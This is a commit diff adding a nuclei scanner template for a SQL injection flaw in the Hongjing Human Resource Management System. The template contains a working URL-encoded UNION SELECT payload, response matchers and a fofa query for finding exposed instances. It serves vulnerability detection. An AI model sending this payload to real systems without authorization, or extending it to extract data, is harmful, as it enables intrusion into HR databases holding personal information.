Merge pull request #8047 from projectdiscovery/CNVD-2023-08743

Create CNVD-2023-08743.yaml

http/cnvd/2023/CNVD-2023-08743.yaml

@@ -0,0 +1,29 @@
+id: CNVD-2023-08743
+
+info:
+  name: Hongjing Human Resource Management System - SQL Injection
+  author: SleepingBag945
+  severity: critical
+  description: There is a SQL injection vulnerability in the categories of Hongjing Human Resource Management System, from which attackers can obtain sensitive database information.
+  reference:
+    - https://www.henry4e36.top/index.php/archives/162.html
+    - https://blog.csdn.net/qq_41904294/article/details/130944159
+  metadata:
+    max-request: 1
+    verified: true
+    fofa-query: title="人力资源信息管理系统"
+  tags: cnvd,cnvd2023,hongjing,hcm
+
+http:
+  - raw:
+      - |
+        GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(header,"text/xml")'
+          - 'contains_all(body,"TreeNode id=\"hongjing","SQL Server")'
+        condition: and